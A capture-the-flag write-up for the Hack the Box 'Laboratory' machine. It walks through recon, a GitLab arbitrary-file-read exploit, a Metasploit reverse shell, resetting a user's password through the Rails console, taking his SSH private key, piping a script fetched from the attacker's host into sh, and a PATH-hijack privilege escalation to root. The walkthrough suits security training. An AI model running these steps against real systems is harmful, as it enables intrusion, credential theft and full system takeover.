Laboratory
Writeup for Laboratory from Hack the Box
Last updated
Was this helpful?
Writeup for Laboratory from Hack the Box
Last updated
Was this helpful?
nmap -sV -T4 -p- 10.10.10.216
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41
443/tcp open ssl/http Apache httpd 2.4.41 ((Ubuntu))
Service Info: Host: laboratory.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernelAccessing the IP address via HTTP returns a 302 status code, and redirects to https://laboratory.htb/
Add the following line to the /etc/hosts file:
10.10.10.216 laboratory.htbNow the page displays properly.
If we scroll down, we can see that Dexter is listed as the CEO of the company.
Looking at the source code:
Navlinks commented out. However, elements.html and generic.html do not exist.
gobuster dir -u https://laboratory.htb/ -w /usr/share/wordlists/dirb/common.txt -k
/.hta (Status: 403)
/.htpasswd (Status: 403)
/.htaccess (Status: 403)
/assets (Status: 301)
/images (Status: 301)
/index.html (Status: 200)
/server-status (Status: 403)When I first ran gobuster without the -w flag, I got this error:
Error: error on running goubster: unable to connect to https://laboratory.htb/: invalid certificate: x509: certificate is valid for git.laboratory.htb, not laboratory.htbSo I added the following to /etc/hosts:
10.10.10.216 git.laboratory.htband accessed git.laboratory.htb.
searchsploit gitlab
--------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
--------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
GitLab - 'impersonate' Feature Privilege Escalation | ruby/webapps/40236.txt
GitLab 11.4.7 - RCE (Authenticated) | ruby/webapps/49334.py
Gitlab 11.4.7 - Remote Code Execution | ruby/webapps/49257.py
GitLab 11.4.7 - Remote Code Execution (Authenticated) | ruby/webapps/49263.py
GitLab 12.9.0 - Arbitrary File Read | ruby/webapps/48431.txt
Gitlab 12.9.0 - Arbitrary File Read (Authenticated) | ruby/webapps/49076.py
Gitlab 6.0 - Persistent Cross-Site Scripting | php/webapps/30329.sh
Gitlab-shell - Code Execution (Metasploit) | linux/remote/34362.rb
Jenkins Gitlab Hook Plugin 1.4.2 - Reflected Cross-Site Scripting | java/webapps/47927.txt
NPMJS gitlabhook 0.0.17 - 'repository' Remote Command Execution | json/webapps/47420.txt
--------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------I went ahead and created an account. Note: to overcome the email domain validation, use @laboratory.htb for the email domain.
Found an exploit code here: https://github.com/thewhiteh4t/cve-2020-10977
(for Gitlab 12.9.0 - Arbitrary File Read)
python3 gitlab_exploit.py https://git.laboratory.htb me zeyu2001
We can read the /etc/passwd file:
Didn't work with any of the open-source Python scripts. If this was the actual OSCP, I would have used my Metasploit 'budget' on this machine.
Using Metasploit with the above options, I was able to spawn a reverse shell.
'Upgrade' the shell: python3 -c 'import pty;pty.spawn("/bin/bash")'
Now that we gained a shell as the git user, we are inside the gitlab-rails CLI. In order to gain access to Dexter's account, we need to reset the password, like this: https://docs.gitlab.com/ee/security/reset_user_password.html
Since Dexter is likely the 'main user', I guessed that his user ID is 1.
Full commands to reset the password via Rails Console:
gitlab-rails console -e production
user = User.find(1)
user.password = 'mynewpass'
user.password_confirmation = 'mynewpass'
user.save!
exit()Using the dexter:mynewpass combination, we can login to the GitLab web GUI.
I then tried to SSH into Dexter's account, but a public/private key pair is required.
From the SecureDocker repo, we can navigate to securedocker/dexter/.ssh/id_rsa to get the private key. Save this in a file id_rsa on the attacking machine. Note that the public key for this privste key is in the securedocker/dexter/.ssh/authorized_keys file.
SSH in: ssh -i id_rsa dexter@git.laboratory.htb. We can now get the user.txt:
Run LinPEAS (start Python Simple HTTP Server on attacking machine, then do curl "http://10.10.14.16/linpeas.sh" | sh in SSH)
Sadly, neither worked.
In the list of SUID files (from the LinPEAS output), the /usr/local/bin/docker-security binary looked out of place.
Strings wasn't installed on the target machine, so I downloaded the binary into my Kali machine: scp -i id_rsa dexter@laboratory.htb:/usr/local/bin/docker-security .
strings docker-security
Good, the binary uses relative paths for setuid, etc. This allows us to create our own setuid binary, and manipuate the PATH variable so that our own binary is executed instead.
Change working directory to /tmp: cd /tmp
Copy the /bin/sh shell and call it setuid: echo /bin/sh > setuid
Give the correct permissions: chmod 777 setuid
Put its location, the /tmp directory, in the PATH: export PATH=/tmp:$PATH
dexter@laboratory:~$ cd /tmp
dexter@laboratory:/tmp$ echo /bin/sh > setuid
dexter@laboratory:/tmp$ chmod 777 setuid
dexter@laboratory:/tmp$ export PATH=/tmp:$PATH
dexter@laboratory:/tmp$ /usr/local/bin/docker-securitySince the SUID flag is set, the /bin/sh is run as root, which is the owner of the file. Here, we created a fake setuid binary and added the /tmp directory to the PATH. When the docker-security binary runs setuid, our fake binary is run, spawning a bash shell as root.
